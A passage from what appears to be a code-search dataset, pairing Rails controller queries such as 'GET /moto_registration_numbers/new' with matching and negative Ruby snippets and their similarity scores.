@patientregistration_data }\n end\n end", "def destroy\n @registration_number = RegistrationNumber.find(params[:id])\n @registration_number.destroy\n\n respond_to do |format|\n format.html { redirect_to(registration_numbers_url) }\n format.xml { head :ok }\n end\n end", "def show\n @outgoing_sms_number_group = OutgoingSmsNumberGroup.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @outgoing_sms_number_group }\n end\n end", "def new\n @phone_number = @kontact_information.phone_numbers.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.mobile\n format.xml { render :xml => @phone_number }\n end\n end", "def show\n @registration_code = RegistrationCode.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @registration_code }\n end\n end", "def index\n @registration_requests = RegistrationRequest.all\n\n render json: @registration_requests\n end", "def show\n\t\t@devices = @register.devices\n\t\t@servers = @register.servers\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @register }\n end\n end", "def phone_numbers\n request = @browser.get(\"#{VoipfoneClient::API_GET_URL}?nums\")\n parse_response(request)[\"nums\"].collect {|n| n.first}\n end", "def index\n @publication_numbers = PublicationNumber.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @publication_numbers }\n end\n end", "def index\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render xml: @download_registrations }\n end\n end", "def index\n @member_registration_requests = MemberRegistrationRequest.not_accepted_or_refused_yet\n .order(created_at: :desc)\n .page\n end", "def show\n @call_num = CallNum.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @call_num }\n end\n end", "def list_registration\n @title = 'Admin - List Registered'\n if @main_event\n @registrations = Registration.find(:all, :conditions => [\"event_id = ?\",@main_event.id], :order => \"last_name\")\n else\n @registrations = []\n end\n respond_to do |format|\n format.html # list_registration.html.erb\n format.xml { render :xml => @registrations, :layout => false }\n format.csv { render :csv => @registrations, :layout => false }\n end\n end", "def show\n @moto_user_phone = MotoUserPhone.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @moto_user_phone }\n end\n end", "def index\n @registration_forms = RegistrationForm.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @registration_forms }\n end\n end", "def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render xml: @download_registration }\n end\n end", "def index\n @emails = @kontact_information.emails.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.mobile\n format.xml { render :xml => @emails }\n end\n end", "def show\n @newsletter_registrations = NewsletterRegistrations.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @newsletter_registrations }\n end\n end", "def update\n @moto_registration_number = MotoRegistrationNumber.find(params[:id])\n\n respond_to do |format|\n if @moto_registration_number.update_attributes(params[:moto_registration_number])\n format.html { redirect_to(@moto_registration_number, :notice => 'Moto registration number was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @moto_registration_number.errors, :status => :unprocessable_entity }\n end\n end\n end", "def index\n @myregistrations = Myregistration.all\n end", "def show\n @phone_number = PhoneNumber.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @phone_number }\n end\n end", "def show\n @number_master = NumberMaster.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @number_master }\n end\n end", "def index\n @device_registrations = DeviceRegistration.all\n end", "def show\n @all_registration = AllRegistration.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @all_registration }\n end\n end", "def show\n\tputs \"enter\"\n @data = params[:id]\n\t@patientregistration = Patientregistration.find_by_id(@data)\n\trespond_to do |format|\n\t format.html # show.html.erb\n\t format.xml { render :xml => @patientregistration }\n\tend\n end", "def request(method, params)\n response = PARSER.xml_in(http_get(request_url(method, params)), { 'keeproot' => false,\n 'forcearray' => %w[List Campaign Subscriber Client SubscriberOpen SubscriberUnsubscribe SubscriberClick SubscriberBounce],\n 'noattr' => true })\n response.delete('d1p1:type')\n response\n end", "def new\n @mri_scan = MriScan.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @mri_scan }\n end\n end", "def new\n @registration = Registration.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @registration }\n end\n end", "def new\n @registration = Registration.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @registration }\n end\n end", "def new\n @registration = Registration.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @registration }\n end\n end", "def xml(id)\n http.get(\"/nfse/#{id}/xml\") do |response|\n response.headers.fetch(\"Location\") { \"\" }\n end\n end", "def index\n @nodes = Node.all\n @registerable_nodes = Node.registerable(request.remote_ip)\n @unregistered = Node.all_unregistered if permitted_to? :all_unregistered, :nodes\n @node_registrations = NodeRegistration.all\n \n if permitted_to? :register_all, :nodes\n @registerable_nodes = @unregistered\n end\n \n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @nodes }\n end\n end", "def new\n @registration = Registration.new()\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @registration }\n end\n end", "def monitoring_xml(filter_flag=INFO_ALL, num=nil)\n return @client.call(VM_POOL_METHODS[:monitoring], filter_flag) if num.nil?\n\n @client.call(VM_POOL_METHODS[:monitoring], filter_flag, num.to_i)\n end", "def show\n @appointmentregistration = Appointmentregistration.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @appointmentregistration }\n end\n end", "def show\n @numbering_reset_type = NumberingResetType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @numbering_reset_type }\n end\n end", "def report_list_uids\r\n post = { \"token\" => @token }\r\n docxml = nessus_request('report/list', post)\r\n uuids = Array.new\r\n docxml.root.elements['contents'].elements['reports'].each_element('//report') do |report| \r\n uuids.push(report.elements['name'].text)\r\n end\r\n return uuids\r\n end", "def index\n\t my_uuid = params[:uuid]\n\t\tif my_uuid == nil\n\n\t\t\t@information = Information.all\n\t\telse\n\t\t\t@information = Information.where(uuid: my_uuid).all\n\t\tend\n\t\trespond_with @information\n end", "def new\n @registration = NodeRegistration.new\n node_id = params[:node]\n \n if(mac = params[:node_mac])\n mac.gsub!(/[^A-Fa-f0-9]/,'')\n node_id = mac.to_i(16)\n logger.info \"Got node-id: #{node_id}\"\n end\n\n node = Node.find_by_id(node_id) || Node.new(id: node_id)\n \n if(node && node.node_registration.present?)\n flash[:error] = \"Fehler: Der Node #{node.mac} ist bereits registriert.\"\n redirect_to app_index_path\n return\n end\n\n @registration.node = node\n @registration.owner = current_user\n @registration.osm_loc = \"Suchbegriff\"\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @registration }\n end\n end", "def index\n @registrations = Registration.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @registrations }\n end\n end", "def show\n @registration = Registration.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @registration }\n end\n end", "def show\n @registration = Registration.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @registration }\n end\n end", "def show\n @registration = Registration.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @registration }\n end\n end", "def list_account_telephone_numbers limit: nil, page: nil, pattern: nil\r\n # the base uri for api requests\r\n query_builder = Configuration.BASE_URI.dup\r\n\r\n # prepare query string for API call\r\n query_builder << \"/tns/\"\r\n\r\n # process optional query parameters\r\n query_builder = APIHelper.append_url_with_query_parameters query_builder, {\r\n \"limit\" => limit,\r\n \"page\" => page,\r\n \"pattern\" => pattern,\r\n }\r\n\r\n # validate and preprocess url\r\n query_url = APIHelper.clean_url query_builder\r\n\r\n # prepare headers\r\n headers = {\r\n \"user-agent\" => \"Flowroute SDK 1.0\",\r\n \"accept\" => \"application/json\"\r\n }\r\n\r\n response = CustomAuthUtility.append_custom_auth_params method:'GET',\r\n query_url:query_url,\r\n headers:headers\r\n\r\n # Error handling using HTTP status codes\r\n if response.code == 401\r\n raise APIException.new \"NOT AUTHORIZED\", 401, response.raw_body\r\n elsif response.code == 500\r\n raise APIException.new \"APPLICATION/SERVER ERROR\", 500, response.raw_body\r\n elsif !(response.code.between?(200,206)) # [200,206] = HTTP OK\r\n raise APIException.new \"HTTP Response Not OK\", response.code, response.raw_body\r\n end\r\n\r\n response.body\r\n end", "def scan_list_uids\r\n\t\tpost= { \"token\" => @token } \r\n\t\tdocxml=nessus_request('scan/list', post)\r\n\t\tuuids=Array.new\r\n\t\tdocxml.root.elements['contents'].elements['scans'].elements['scanList'].each_element('//scan') {|scan| uuids.push(scan.elements['uuid'].text) }\r\n\t\treturn uuids\r\n\tend", "def show\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @phone_number }\n end\n end", "def index\n @emails = JSON[access_token.get(\"/api/v1/emails\").body]\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @emails }\n end\n end", "def generate_account\n toll_free = @client.available_phone_numbers('US').toll_free.list(limit: 1)\n\n toll_free.each do |record|\n \n incoming_phone_number = @client.incoming_phone_numbers.create(phone_number: record.phone_number)\n\n puts incoming_phone_number.sid\n end\n\n \n end", "def show\n @registration = Registration.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @registration }\n end\n end", "def show\n @registration = Registration.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @registration }\n end\n end", "def show\n @regiaos = Regiao.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @regiaos }\n end\n end", "def registrations\n @search = User.metasearch(params[:search])\n @users = @search.where(:state => 'new').paginate(:page => @page, :per_page => @per_page)\n \n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @users }\n end\n end", "def index\n @notifiers = Notifier.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @notifiers }\n end\n end", "def index\n #@notifications = Notification.all\n\t\t@notifications = Notification.paginate :order => \"created_at DESC\",\n\t\t\t:page => params[:page], :per_page => 15\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @notifications }\n end\n end", "def create\n @registration_number = RegistrationNumber.new(registration_number_params)\n\n respond_to do |format|\n if @registration_number.save\n format.html { redirect_to @registration_number, notice: 'Registration number was successfully created.' }\n format.json { render :show, status: :created, location: @registration_number }\n else\n format.html { render :new }\n format.json { render json: @registration_number.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @patientregistration_data = PatientregistrationData.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @patientregistration_data }\n end\n end", "def index\n @devices = Device.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @devices }\n end\n end", "def new\n @registration = Registration.new\n @regatta = Regattum.all.map {|r| [r.name,r.id]}\n @boats = Boat.all.map {|r| [r.name,r.id]}\n @skippers = User.all.map {|r| [r.name,r.id]}\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @registration }\n end\n end", "def listed_company_registration_number; end", "def get_xml\n response = @api.request(:get, @location, type: 'xml')\n response.body if response.status == 200\n end", "def getinfo\n request :getinfo\n end", "def index\n @payment_informations = PaymentInformation.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @payment_informations }\n end\n end", "def new\n @registry = @user.registries.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @registry }\n end\n end", "def new\n @number_master = NumberMaster.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @number_master }\n end\n end", "def user_data_xml\n run_url = 'http://nikerunning.nike.com/nikeplus/v1/services/widget/get_public_user_data.jsp?userID='\n run_url += @id.to_s\n open(run_url)\n end", "def fremont_users\n\ttmp = Array.new\n\tres = Array.new\n\ti = 0\n\twhile (tmp = TOKEN.get('/v2/campus/7/users', params: { page: i, per_page: 100 }).parsed).length > 0\n\t\tputs 'user request page is ' + i.to_s\n\t\ttmp.each do |page|\n\t\t\tres.push(page)\n\t\tend\n\t\ti += 1\n\tend\n\treturn res\nend", "def RetrieveAllRegistrations\n response = @registration_getter.RetrieveAllRegistrations(\n {\"customerUserName\" => @username,\n \"customerPassword\" => @password,\n \"eventID\" => @event_id})\n \n registrations = RegonlineConnector::Client::zip_to_xml(\n response.retrieveAllRegistrationsResult)\n end", "def friends(id)\n friends_data(request(\"users/friends/#{id}.xml\", :auth => true))\n end", "def get_nics(token, nics_url)\n nic_ids = Array.new \n endpoint = nics_url.scan(/\\/organizations.*nics/)\n resp_hash = get_url(token, endpoint[0], {})\n resp_hash[:embedded][:nics].each do |nic|\n nic_ids.push extract_id(nic[:_links][:self][:href], 'nics')\n end\n return nic_ids, resp_hash\nend", "def new\n @moto_user_phone = MotoUserPhone.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @moto_user_phone }\n end\n end", "def start_gather_info\n\t\t@reminder = Reminder.find(params[:id])\n\t\t@reminder.create_report\n\t\t\n\t\t# set up a client to talk to the Twilio REST API \n\t\t@client = Twilio::REST::Client.new ACC_SID, AUTH_TOKEN\n\t\tUser.all.each do |u|\n\t\t\t@client.account.calls.create({\n\t\t\t\t:from => '+918754489839', \n\t\t\t\t:to => \"+91#{u.mobile_number}\", \n\t\t\t\t:url => twilio_voice_callback_reminder_url(@reminder, :format => \"xml\"), \n\t\t\t\t:method => 'GET', \n\t\t\t\t:fallback_method => 'GET', \n\t\t\t\t:status_callback_method => 'GET', \n\t\t\t\t:record => 'false'\n\t\t\t})\n\t\tend\n\t\tredirect_to reminders_path\n\tend", "def index\n\t\t@people = Person.all\n\t\t# respond_to do |format|\n\t\t# \tformat.xml { send_data @entries.to_xml, :type => 'text/xml; charset=UTF-8;', :disposition => 'attachment; filename=entries.xml'}\n\t\t# end\n\tend", "def index\n @registrations = Registration.all\n \n render json: @registrations\n end" ]
[ "0.63621014", "0.6296374", "0.61198634", "0.6035799", "0.5863261", "0.5816839", "0.58105224", "0.5703169", "0.5699908", "0.56630635", "0.565772", "0.565772", "0.55978006", "0.558874", "0.558034", "0.55021095", "0.55021095", "0.55021095", "0.55021095", "0.55021095", "0.54942536", "0.5440857", "0.54392666", "0.53734803", "0.5363006", "0.53553116", "0.53174746", "0.5293799", "0.5292182", "0.52732915", "0.52638113", "0.52636725", "0.52491295", "0.5247308", "0.52461725", "0.5227543", "0.52161205", "0.5212173", "0.52084476", "0.5196777", "0.51746255", "0.51684844", "0.5155495", "0.5148014", "0.5138778", "0.51266056", "0.51053226", "0.51001596", "0.50874203", "0.5084542", "0.5081227", "0.50774175", "0.507025", "0.5066633", "0.50665593", "0.50665593", "0.50665593", "0.5059037", "0.5051257", "0.50493366", "0.50367224", "0.5035774", "0.50307", "0.5028846", "0.50238776", "0.5020237", "0.50097656", "0.50075245", "0.50075245", "0.5006124", "0.50026345", "0.50015366", "0.50010026", "0.5000467", "0.49993482", "0.4990158", "0.49899045", "0.4983087", "0.49698976", "0.49588156", "0.49575976", "0.49532327", "0.4952601", "0.49523583", "0.49511555", "0.49389583", "0.49256352", "0.49222288", "0.49114135", "0.49070987", "0.49045187", "0.4895731", "0.48953757", "0.4888097", "0.48861617", "0.4882185", "0.48756674", "0.48720235", "0.4871209", "0.486948" ]
0.6877038
0
GET /moto_registration_numbers/new GET /moto_registration_numbers/new.xml
def new @moto_registration_number = MotoRegistrationNumber.new respond_to do |format| format.html # new.html.erb format.xml { render :xml => @moto_registration_number } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def new\n @registration_number = RegistrationNumber.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @registration_number }\n end\n end", "def create\n @moto_registration_number = MotoRegistrationNumber.new(params[:moto_registration_number])\n\n respond_to do |format|\n if @moto_registration_number.save\n format.html { redirect_to(@moto_registration_number, :notice => 'Moto registration number was successfully created.') }\n format.xml { render :xml => @moto_registration_number, :status => :created, :location => @moto_registration_number }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @moto_registration_number.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @registration_number = RegistrationNumber.new(params[:registration_number])\n\n respond_to do |format|\n if @registration_number.save\n format.html { redirect_to(@registration_number, :notice => 'Registration number was successfully created.') }\n format.xml { render :xml => @registration_number, :status => :created, :location => @registration_number }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @registration_number.errors, :status => :unprocessable_entity }\n end\n end\n end", "def new\n @registration = Registration.new()\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @registration }\n end\n end", "def new\n @registration = Registration.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @registration }\n end\n end", "def new\n @registration = Registration.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @registration }\n end\n end", "def new\n @registration = Registration.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @registration }\n end\n end", "def new\n @registration = NodeRegistration.new\n node_id = params[:node]\n \n if(mac = params[:node_mac])\n mac.gsub!(/[^A-Fa-f0-9]/,'')\n node_id = mac.to_i(16)\n logger.info \"Got node-id: #{node_id}\"\n end\n\n node = Node.find_by_id(node_id) || Node.new(id: node_id)\n \n if(node && node.node_registration.present?)\n flash[:error] = \"Fehler: Der Node #{node.mac} ist bereits registriert.\"\n redirect_to app_index_path\n return\n end\n\n @registration.node = node\n @registration.owner = current_user\n @registration.osm_loc = \"Suchbegriff\"\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @registration }\n end\n end", "def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render xml: @download_registration }\n end\n end", "def new\n @phone_number = PhoneNumber.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @phone_number }\n end\n end", "def new\n @phone_number = @kontact_information.phone_numbers.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.mobile\n format.xml { render :xml => @phone_number }\n end\n end", "def new\n @registration_code = RegistrationCode.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @registration_code }\n end\n end", "def new\n @identity = Identity.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @identity }\n end\n end", "def new\n @number_master = NumberMaster.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @number_master }\n end\n end", "def new\n @registry = @user.registries.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @registry }\n end\n end", "def create\n @registration_number = RegistrationNumber.new(registration_number_params)\n\n respond_to do |format|\n if @registration_number.save\n format.html { redirect_to @registration_number, notice: 'Registration number was successfully created.' }\n format.json { render :show, status: :created, location: @registration_number }\n else\n format.html { render :new }\n format.json { render json: @registration_number.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @registration = Registration.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @registration }\n end\n end", "def new\n @numerador = Numerador.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @numerador }\n end\n end", "def new_rest\n @item_usage = ItemUsage.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @item_usage }\n end\n end", "def new\n @patientregistration_data = PatientregistrationData.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @patientregistration_data }\n end\n end", "def new\n @node = Node.scopied.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @node }\n end\n end", "def new\n @reqinfo = Reqinfo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @reqinfo }\n end\n end", "def new\n @contact_number = ContactNumber.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @contact_number }\n end\n end", "def new\n @registration = Registration.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @registration }\n end\n end", "def new\n @numbering_reset_type = NumberingResetType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @numbering_reset_type }\n end\n end", "def new\n @patron = Patron.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @patron }\n end\n end", "def new\n @publication_number = PublicationNumber.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @publication_number }\n end\n end", "def new\n @last_id = LastId.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @last_id }\n end\n end", "def new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @register }\n end\n end", "def new\n @mri_scan = MriScan.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @mri_scan }\n end\n end", "def new_rest\n @page_usage_event = PageUsageEvent.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @page_usage_event }\n end\n end", "def new\n @discovery = Discovery.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @discovery }\n end\n end", "def new\n @node = Node.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @node }\n end\n end", "def new\n @node = Node.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @node }\n end\n end", "def new\n @phone = Phone.new\n\n respond_to do |format|\n format.html # new.html.erb\n #format.xml { render :xml => @phone }\n end\n end", "def new_rest\n @instrument_version = InstrumentVersion.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @instrument_version }\n end\n end", "def new\n @phone_number_type = PhoneNumberType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @phone_number_type }\n end\n end", "def new\n @research = Research.new\n @page_title = \"Request research from White House 2 members\"\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @research.to_xml(:except => [:email]) }\n end\n end", "def new\n @users = User.find(:all)\n @invoice = Invoice.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @invoice }\n end\n end", "def new\n @phone = Phone.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @phone }\n end\n end", "def new\n @nr_parameter = NrParameter.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @nr_parameter }\n end\n end", "def new\n @email = @kontact_information.emails.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.mobile\n format.xml { render :xml => @email }\n end\n end", "def new\n @newsletter_registrations = NewsletterRegistrations.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @newsletter_registrations }\n end\n end", "def new\n @regiaos = Regiao.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @regiaos }\n end\n end", "def create\n @patientregistration_data = PatientregistrationData.new(params[:patientregistration_data])\n\n respond_to do |format|\n if @patientregistration_data.save\n\t\t@n=Number.find_by_names(\"reciept\")\n\t\t@n.value=@patientregistration_data.reciept_no\n\t\t@n.update_attributes(params[:n])\n format.html { redirect_to(\"http://localhost:3000/patientregistration_datas/new\") }\n format.xml { render :xml => @patientregistration_data, :status => :created, :location => @patientregistration_data }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @patientregistration_data.errors, :status => :unprocessable_entity }\n end\n end\n end", "def new\n @apn_notification = APN::Notification.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @apn_notification }\n end\n end", "def new\n @moto_user_phone = MotoUserPhone.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @moto_user_phone }\n end\n end", "def new\n @scan = Scan.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @scan }\n end\n end", "def new\n @pinrequest = Pinrequest.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @pinrequest }\n end\n end", "def new\n @primary_publication_number = PrimaryPublicationNumber.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @primary_publication_number }\n end\n end", "def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @instituto }\n end\n end", "def new\n @outgoing_sms_number_group = OutgoingSmsNumberGroup.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @outgoing_sms_number_group }\n end\n end", "def new_rest\n @entry_instrument = EntryInstrument.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @entry_instrument }\n end\n end", "def new\n @number_call = NumberCall.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @number_call }\n end\n end", "def new\n @add_phone_to_nouveau_ticket = AddPhoneToNouveauTicket.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @add_phone_to_nouveau_ticket }\n end\n end", "def new\n @appointmentregistration = Appointmentregistration.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @appointmentregistration }\n end\n end", "def new\n @generator_info = GeneratorInfo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @generator_info }\n end\n end", "def new\n @addition = Addition.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @addition }\n end\n end", "def new\n @recurso = Recurso.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @recurso }\n end\n end", "def new\n @nif = Nif.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @nif }\n end\n end", "def show\n @moto_registration_number = MotoRegistrationNumber.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @moto_registration_number }\n end\n end", "def new\n @patrimonio = Patrimonio.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @patrimonio }\n end\n end", "def new\n respond_to do |format|\n format.html { render_template } # new.html.erb\n format.xml { render xml: @location_phone }\n end\n end", "def new\n @notification = Notification.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @notification }\n end\n end", "def new\n @registration = Registration.new\n\n respond_to do |format|\n format.html { render :layout => 'startup_page' }\n format.json { render json: @registration }\n end\n end", "def new\n @call_num = CallNum.new\n @book = Book.find(params[:book_id])\n @call_nums = CallNum.find(:all, :conditions => ['book_id = ?', @book])\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @call_num }\n end\n end", "def new\n @phonecall = Phonecall.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @phonecall }\n end\n end", "def new\n @noticium = Noticium.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @noticium }\n end\n end", "def new\n @ip_addr = IpAddr.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @ip_addr }\n end\n end", "def new\n @xml_sample = XmlSample.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @xml_sample }\n end\n end", "def new\n @page = Page.new(:status => params[:from])\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @page }\n end\n end", "def new\n @nota = Nota.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @nota }\n end\n end", "def new\n @nota = Nota.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @nota }\n end\n end", "def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @notifier }\n end\n end", "def new\n @registration_form = RegistrationForm.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @registration_form }\n end\n end", "def new\n @patientregistration = Patientregistration.new\n 1.times { @patientregistration.patientinformation.build }\n\t1.times { @patientregistration.patientappointmentinfo.build }\n\t1.times { @patientregistration.contactinformation.build }\n\t1.times { @patientregistration.insurenceinformation.build }\n\t\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @patientregistration }\n end\n end", "def new\n @relatorios = Relatorio.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @relatorios }\n end\n end", "def new\n @uniqueid = Uniqueid.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @uniqueid }\n end\n end", "def new\n @member_info = MemberInfo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @member_info }\n end\n end", "def new\n @ministerio = Ministerio.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @ministerio }\n end\n end", "def new\n puts \"HAHAHAHAHHA\"\n @information_request = InformationRequest.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @information_request }\n end\n end", "def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => new_vurl }\n end\n end", "def new\n @lookup_rad = LookupRad.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @lookup_rad }\n end\n end", "def new\n @occurence = Occurence.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @occurence }\n end\n end", "def new\n @nossos_servico = NossosServico.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @nossos_servico }\n end\n end", "def new\n @modulo = Modulo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @modulo }\n end\n end", "def new\n @numbering_rule = NumberingRule.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @numbering_rule }\n end\n end", "def new\n @regdb = Regdb.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @regdb }\n end\n end", "def new\n @registration = Registration.new\n @regatta = Regattum.all.map {|r| [r.name,r.id]}\n @boats = Boat.all.map {|r| [r.name,r.id]}\n @skippers = User.all.map {|r| [r.name,r.id]}\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @registration }\n end\n end", "def new\n @info = Info.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @info }\n end\n end", "def new\n @info = Info.new\n\n respond_to do |format|\n format.html # 